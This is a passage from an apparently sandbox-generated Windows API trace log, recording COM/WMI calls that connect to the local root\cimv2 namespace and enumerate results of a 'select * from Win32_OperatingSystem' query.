returned 0x0 [0256.791] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de160*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0256.791] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d2ddeb0 | out: ppv=0x1d2ddeb0*=0x1d496d40) returned 0x0 [0256.791] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d496d40, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1d2de028 | out: ppNamespace=0x1d2de028*=0x1d475da0) returned 0x0 [0256.963] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475da0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddd28 | out: ppvObject=0x1d2ddd28*=0x1b3511a0) returned 0x0 [0256.963] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b3511a0, pProxy=0x1d475da0, pAuthnSvc=0x1d2dddf0, pAuthzSvc=0x1d2ddd70, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74, pImpLevel=0x1d2ddd80, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84 | out: pAuthnSvc=0x1d2dddf0*=0xa, pAuthzSvc=0x1d2ddd70*=0x0, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74*=0x6, pImpLevel=0x1d2ddd80*=0x2, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84*=0x1) returned 0x0 [0256.963] WbemLocator:IUnknown:Release (This=0x1b3511a0) returned 0x1 [0256.963] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475da0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcc0 | out: ppvObject=0x1d2ddcc0*=0x1b3511e8) returned 0x0 [0256.963] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475da0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcd0 | out: ppvObject=0x1d2ddcd0*=0x1b3511a0) returned 0x0 [0256.963] WbemLocator:IClientSecurity:SetBlanket (This=0x1b3511a0, pProxy=0x1d475da0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0256.963] WbemLocator:IUnknown:Release (This=0x1b3511a0) returned 0x2 [0256.963] WbemLocator:IUnknown:Release (This=0x1b3511e8) returned 0x1 [0256.963] CoTaskMemFree (pv=0x1d471dd0) [0256.964] WbemLocator:IUnknown:Release (This=0x1d496d40) returned 0x0 [0256.964] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475da0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd7c0 | out: ppvObject=0x1d2dd7c0*=0x1b3511e8) returned 0x0 [0256.964] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd850 | out: ppvObject=0x1d2dd850*=0x0) returned 0x80004002 [0257.061] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x0) returned 0x80004002 [0257.061] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475da0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd048 | out: ppvObject=0x1d2dd048*=0x0) returned 0x80004002 [0257.062] WbemLocator:IUnknown:AddRef (This=0x1b3511e8) returned 0x3 [0257.062] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcf08 | out: ppvObject=0x1d2dcf08*=0x0) returned 0x80004002 [0257.062] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dce90 | out: ppvObject=0x1d2dce90*=0x0) returned 0x80004002 [0257.062] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dce80 | out: ppvObject=0x1d2dce80*=0x1b3510c8) returned 0x0 [0257.062] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3510c8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcea8 | out: pCid=0x1d2dcea8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0257.062] WbemLocator:IUnknown:Release (This=0x1b3510c8) returned 0x3 [0257.062] CoGetContextToken (in: pToken=0x1d2dcf30 | out: pToken=0x1d2dcf30) returned 0x0 [0257.062] CoGetContextToken (in: pToken=0x1d2dd3b0 | out: pToken=0x1d2dd3b0) returned 0x0 [0257.063] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b3511b0) returned 0x0 [0257.063] WbemLocator:IRpcOptions:Query (in: This=0x1b3511b0, pPrx=0x1b3511e8, dwProperty=2, pdwValue=0x1d2dd460 | out: pdwValue=0x1d2dd460) returned 0x80004002 [0257.063] WbemLocator:IUnknown:Release (This=0x1b3511b0) returned 0x3 [0257.063] WbemLocator:IUnknown:Release (This=0x1b3511e8) returned 0x2 [0257.063] CoGetContextToken (in: pToken=0x1d2dda70 | out: pToken=0x1d2dda70) returned 0x0 [0257.063] CoGetContextToken (in: pToken=0x1d2dd970 | out: pToken=0x1d2dd970) returned 0x0 [0257.063] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x1d2ddad0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1d2ddaa0 | out: ppvObject=0x1d2ddaa0*=0x1d475da0) returned 0x0 [0257.063] WbemLocator:IUnknown:AddRef (This=0x1d475da0) returned 0x4 [0257.063] WbemLocator:IUnknown:Release (This=0x1d475da0) returned 0x3 [0257.063] WbemLocator:IUnknown:Release (This=0x1d475da0) returned 0x2 [0257.063] SysStringLen (param_1=0x0) returned 0x0 [0257.063] CoGetContextToken (in: pToken=0x1d2ddba0 | out: pToken=0x1d2ddba0) returned 0x0 [0257.063] WbemLocator:IUnknown:AddRef (This=0x1b3511e8) returned 0x3 [0257.063] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3511e8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddba0 | out: ppvObject=0x1d2ddba0*=0x1b3511e8) returned 0x0 [0257.064] WbemLocator:IUnknown:Release (This=0x1b3511e8) returned 0x3 [0257.064] WbemLocator:IUnknown:Release (This=0x1b3511e8) returned 0x2 [0257.064] CoGetContextToken (in: pToken=0x1d2ddcd0 | out: pToken=0x1d2ddcd0) returned 0x0 [0257.064] WbemLocator:IUnknown:AddRef (This=0x1d475da0) returned 0x3 [0257.064] IWbemServices:ExecQuery (in: This=0x1d475da0, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1d2de178 | out: ppEnum=0x1d2de178*=0x1d35c4e0) returned 0x0 [0257.094] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde48 | out: ppvObject=0x1d2dde48*=0x1d35c4e8) returned 0x0 [0257.094] IClientSecurity:QueryBlanket (in: This=0x1d35c4e8, pProxy=0x1d35c4e0, pAuthnSvc=0x1d2ddf10, pAuthzSvc=0x1d2dde90, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94, pImpLevel=0x1d2ddea0, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4 | out: pAuthnSvc=0x1d2ddf10*=0xa, pAuthzSvc=0x1d2dde90*=0x0, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94*=0x6, pImpLevel=0x1d2ddea0*=0x2, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4*=0x1) returned 0x0 [0257.094] IUnknown:Release (This=0x1d35c4e8) returned 0x1 [0257.094] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddde0 | out: ppvObject=0x1d2ddde0*=0x1b3516c8) returned 0x0 [0257.094] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dddf0 | out: ppvObject=0x1d2dddf0*=0x1d35c4e8) returned 0x0 [0257.095] IClientSecurity:SetBlanket (This=0x1d35c4e8, pProxy=0x1d35c4e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0257.174] IUnknown:Release (This=0x1d35c4e8) returned 0x2 [0257.174] WbemLocator:IUnknown:Release (This=0x1b3516c8) returned 0x1 [0257.174] CoTaskMemFree (pv=0x1d4717d0) [0257.174] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8b0 | out: ppvObject=0x1d2dd8b0*=0x1b3516c8) returned 0x0 [0257.175] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd940 | out: ppvObject=0x1d2dd940*=0x0) returned 0x80004002 [0257.176] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x0) returned 0x80004002 [0257.260] IUnknown:QueryInterface (in: This=0x1d35c4e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd138 | out: ppvObject=0x1d2dd138*=0x0) returned 0x80004002 [0257.262] WbemLocator:IUnknown:AddRef (This=0x1b3516c8) returned 0x3 [0257.262] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcff8 | out: ppvObject=0x1d2dcff8*=0x0) returned 0x80004002 [0257.262] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcf80 | out: ppvObject=0x1d2dcf80*=0x0) returned 0x80004002 [0257.262] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf70 | out: ppvObject=0x1d2dcf70*=0x1b3515a8) returned 0x0 [0257.262] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3515a8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcf98 | out: pCid=0x1d2dcf98*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0257.263] WbemLocator:IUnknown:Release (This=0x1b3515a8) returned 0x3 [0257.263] CoGetContextToken (in: pToken=0x1d2dd020 | out: pToken=0x1d2dd020) returned 0x0 [0257.263] CoGetContextToken (in: pToken=0x1d2dd4a0 | out: pToken=0x1d2dd4a0) returned 0x0 [0257.263] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x1b351690) returned 0x0 [0257.263] WbemLocator:IRpcOptions:Query (in: This=0x1b351690, pPrx=0x1b3516c8, dwProperty=2, pdwValue=0x1d2dd550 | out: pdwValue=0x1d2dd550) returned 0x80004002 [0257.263] WbemLocator:IUnknown:Release (This=0x1b351690) returned 0x3 [0257.263] WbemLocator:IUnknown:Release (This=0x1b3516c8) returned 0x2 [0257.263] CoGetContextToken (in: pToken=0x1d2ddb60 | out: pToken=0x1d2ddb60) returned 0x0 [0257.263] CoGetContextToken (in: pToken=0x1d2dda60 | out: pToken=0x1d2dda60) returned 0x0 [0257.263] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x1d2ddbc0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddb90 | out: ppvObject=0x1d2ddb90*=0x1d35c4e0) returned 0x0 [0257.263] IUnknown:AddRef (This=0x1d35c4e0) returned 0x4 [0257.263] IUnknown:Release (This=0x1d35c4e0) returned 0x3 [0257.263] IUnknown:Release (This=0x1d35c4e0) returned 0x2 [0257.264] WbemLocator:IUnknown:Release (This=0x1d475da0) returned 0x2 [0257.264] SysStringLen (param_1=0x0) returned 0x0 [0257.264] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de1b8 | out: puCount=0x1d2de1b8*=0x2) returned 0x0 [0257.264] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de1b0*=0xf, pszText=0x0) returned 0x0 [0257.264] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de1b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0257.264] CoGetContextToken (in: pToken=0x1d2ddcf0 | out: pToken=0x1d2ddcf0) returned 0x0 [0257.264] IUnknown:AddRef (This=0x1d35c4e0) returned 0x3 [0257.264] IEnumWbemClassObject:Clone (in: This=0x1d35c4e0, ppEnum=0x1d2de0f0 | out: ppEnum=0x1d2de0f0*=0x1d35bd00) returned 0x0 [0257.267] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde78 | out: ppvObject=0x1d2dde78*=0x1d35bd08) returned 0x0 [0257.267] IClientSecurity:QueryBlanket (in: This=0x1d35bd08, pProxy=0x1d35bd00, pAuthnSvc=0x1d2ddf40, pAuthzSvc=0x1d2ddec0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4, pImpLevel=0x1d2dded0, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4 | out: pAuthnSvc=0x1d2ddf40*=0xa, pAuthzSvc=0x1d2ddec0*=0x0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4*=0x6, pImpLevel=0x1d2dded0*=0x2, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4*=0x1) returned 0x0 [0257.267] IUnknown:Release (This=0x1d35bd08) returned 0x1 [0257.267] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde10 | out: ppvObject=0x1d2dde10*=0x1b3523c8) returned 0x0 [0257.267] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde20 | out: ppvObject=0x1d2dde20*=0x1d35bd08) returned 0x0 [0257.267] IClientSecurity:SetBlanket (This=0x1d35bd08, pProxy=0x1d35bd00, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0257.270] IUnknown:Release (This=0x1d35bd08) returned 0x2 [0257.270] WbemLocator:IUnknown:Release (This=0x1b3523c8) returned 0x1 [0257.270] CoTaskMemFree (pv=0x1d471f20) [0257.270] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8d0 | out: ppvObject=0x1d2dd8d0*=0x1b3523c8) returned 0x0 [0257.270] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd960 | out: ppvObject=0x1d2dd960*=0x0) returned 0x80004002 [0257.271] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x0) returned 0x80004002 [0257.272] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd158 | out: ppvObject=0x1d2dd158*=0x0) returned 0x80004002 [0257.272] WbemLocator:IUnknown:AddRef (This=0x1b3523c8) returned 0x3 [0257.272] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dd018 | out: ppvObject=0x1d2dd018*=0x0) returned 0x80004002 [0257.272] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcfa0 | out: ppvObject=0x1d2dcfa0*=0x0) returned 0x80004002 [0257.273] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf90 | out: ppvObject=0x1d2dcf90*=0x1b3522a8) returned 0x0 [0257.273] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3522a8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcfb8 | out: pCid=0x1d2dcfb8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0257.273] WbemLocator:IUnknown:Release (This=0x1b3522a8) returned 0x3 [0257.273] CoGetContextToken (in: pToken=0x1d2dd040 | out: pToken=0x1d2dd040) returned 0x0 [0257.273] CoGetContextToken (in: pToken=0x1d2dd4c0 | out: pToken=0x1d2dd4c0) returned 0x0 [0257.273] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x1b352390) returned 0x0 [0257.273] WbemLocator:IRpcOptions:Query (in: This=0x1b352390, pPrx=0x1b3523c8, dwProperty=2, pdwValue=0x1d2dd570 | out: pdwValue=0x1d2dd570) returned 0x80004002 [0257.273] WbemLocator:IUnknown:Release (This=0x1b352390) returned 0x3 [0257.273] WbemLocator:IUnknown:Release (This=0x1b3523c8) returned 0x2 [0257.274] CoGetContextToken (in: pToken=0x1d2ddb80 | out: pToken=0x1d2ddb80) returned 0x0 [0257.274] CoGetContextToken (in: pToken=0x1d2dda80 | out: pToken=0x1d2dda80) returned 0x0 [0257.274] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3523c8, riid=0x1d2ddbe0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddbb0 | out: ppvObject=0x1d2ddbb0*=0x1d35bd00) returned 0x0 [0257.274] IUnknown:AddRef (This=0x1d35bd00) returned 0x4 [0257.274] IUnknown:Release (This=0x1d35bd00) returned 0x3 [0257.274] IUnknown:Release (This=0x1d35bd00) returned 0x2 [0257.274] IUnknown:Release (This=0x1d35c4e0) returned 0x2 [0257.274] SysStringLen (param_1=0x0) returned 0x0 [0257.274] IEnumWbemClassObject:Reset (This=0x1d35bd00) returned 0x0 [0257.329] CoTaskMemAlloc (cb=0x8) returned 0x524820 [0257.329] IEnumWbemClassObject:Next (in: This=0x1d35bd00, lTimeout=-1, uCount=0x1, apObjects=0x524820, puReturned=0x2876398 | out: apObjects=0x524820*=0x1b34a5e0, puReturned=0x2876398*=0x1) returned 0x0 [0257.340] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b34a5e0) returned 0x0 [0257.340] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd500 | out: ppvObject=0x1d2dd500*=0x0) returned 0x80004002 [0257.340] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd120 | out: ppvObject=0x1d2dd120*=0x0) returned 0x80004002 [0257.340] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dccf8 | out: ppvObject=0x1d2dccf8*=0x0) returned 0x80004002 [0257.341] IUnknown:AddRef (This=0x1b34a5e0) returned 0x3 [0257.341] IUnknown:QueryInterface (in: This=0x1b34a5e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, 